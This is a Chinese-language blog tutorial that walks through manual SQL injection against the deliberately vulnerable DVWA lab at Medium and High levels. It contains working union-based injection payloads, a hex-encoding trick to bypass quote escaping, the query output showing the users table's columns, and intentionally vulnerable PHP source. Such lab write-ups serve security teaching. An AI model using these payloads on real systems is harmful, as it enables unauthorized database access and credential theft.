大白话之从零讲解DVWA(贰)-SQL注入(SQL Injection) Medium/High Level

前言

本章我们将进行MediumHigh等级的DVWA SQL Injection手工注入。

如没看过第一章,请点我跳转

阅读本篇文章前,你需要了解下面的知识:

  • 转义字符在PHP中的作用
  • MySQL:LIMIT语句的作用与用法

Medium Level SQL注入

和初级一样,我们输入如下语句:

11' order by 2 # 

但得到了如下结果:

1`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`

返回页面,点击右下角的View Source阅读源码,我们会发现:

1$id = mysql_real_escape_string($id);

出现了一个初级没有的方法:
mysql_real_escape_string将字符串中的:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

进行了转义的处理,而我们使用的单引号被从'转义为了\',所以注入语句无法执行。

换个思路,如果我们不使用单引号呢?

组建语句:

11 order by 2 # 

返回结果:

1ID: 1 order by 2 # 
2First name: admin
3Surname: admin

运气不错!但为什么会这样呢?

源码比对

对比低级中级的SQL执行语句:

低级:

1$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

中级:

1$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用单引号单独转换$id为字符串,所以被称为数字型注入。

实例测试

假设注入语句:

11' order by 2 # 

注入到低级语句,组成语句:

1SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '

我们可以看到,虽然多出了一个单引号,但我们使用#将其注释,所以#后面的不生效,语句成立。

注入到中级语句时,单引号会被过滤,语句无效。

再试试中级的注入语句1 order by 2 # 注入到中级语句:

1SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2

没有单引号的干扰,语句可以正常执行。

目前已知可渗透条件

  1. 语句执行方法:1 [SQL语句] #
  2. 如要使用union联合查询,必须返回两列,否则将报错。

Have a try

你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:

Trouble shooting

  • 测试语句中字符串的引号被转义
11 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 

这本应该是一条正确的语句,但'users'无论是使用单引号还是双引号都会被转义,所以我们应该将其转为16进制。

Python中输入如下命令:

1import binascii
2print binascii.b2a_hex('users')

这会将users转为16进制,这样我们就绕过了引号,且能被MySQL正常识别。

返回结果:

1>>> import binascii
2>>> print binascii.b2a_hex('users')
37573657273

7573657273便是users转换为16进制的结果。不仅可以使用Python进行进制转换,你也可以使用其它工具进行转换。

7573657273会被MySQL识别为整数,我们需要将它包装0x7573657273才能被正常识别为16进制。

组成语句:

11 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 

得到返回结果:

1ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
2First name: admin  
3Surname: admin
4
5ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
6First name: 1  
7Surname: user_id,first_name,last_name,user,password,avatar

成功!

High Level SQL注入

阅读源码:

 1<?php      
 2  
 3if (isset($_GET['Submit'])) {  
 4  
 5    // Retrieve data  
 6  
 7    $id = $_GET['id'];  
 8    $id = stripslashes($id);  
 9    $id = mysql_real_escape_string($id);  
10  
11    if (is_numeric($id)){  
12  
13        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";  
14        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );  
15  
16        $num = mysql_numrows($result);  
17  
18        $i=0;  
19  
20        while ($i < $num) {  
21  
22            $first = mysql_result($result,$i,"first_name");  
23            $last = mysql_result($result,$i,"last_name");  
24              
25            echo '<pre>';  
26            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;  
27            echo '</pre>';  
28  
29            $i++;  
30        }  
31    }  
32}  
33?>

这里使用的是DVWA1.8版本,我发现很多版本之间源码都有一定程度的不同,新版本更是增加了等级。

我们可以看到,它既封堵了分号的BUG,又同时将:

1SELECT first_name, last_name FROM users WHERE user_id = '$id'

数字型注入漏洞封堵了。所以该等级我换了一个版本的DVWA作演示:

DVWA1.9 - High Level源码:

 1<?php  
 2  
 3if( isset( $_SESSION [ 'id' ] ) ) {  
 4// Get input  
 5$id = $_SESSION[ 'id' ];  
 6  
 7// Check database  
 8$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";  
 9$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );  
10  
11// Get results  
12$num = mysql_numrows( $result );  
13$i   = 0;  
14    while( $i < $num ) {  
15// Get values  
16$first = mysql_result( $result, $i, "first_name" );  
17$last  = mysql_result( $result, $i, "last_name" );  
18  
19// Feedback for end user  
20echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";  
21  
22// Increase loop count  
23$i++;  
24    }  
25  
26mysql_close();  
27}  
28  
29?>

通过和中级的对比,我们可以看到多出了LIMIT 1的限制,它限制只输出一条结果。但由于我们使用了#进行注释,所以使用中级的方法就可以保证LIMIT 1不被执行。

后语

本文通过DVWA讲述了手工SQL注入的思路,更多进阶的知识还需要自己去旁敲侧击摸索出来,祝好运。

如转载请在文章尾部添加

原作者来自 adlered 个人技术博客:https://www.stackoverflow.wiki/

    评论
    0 评论
avatar

取消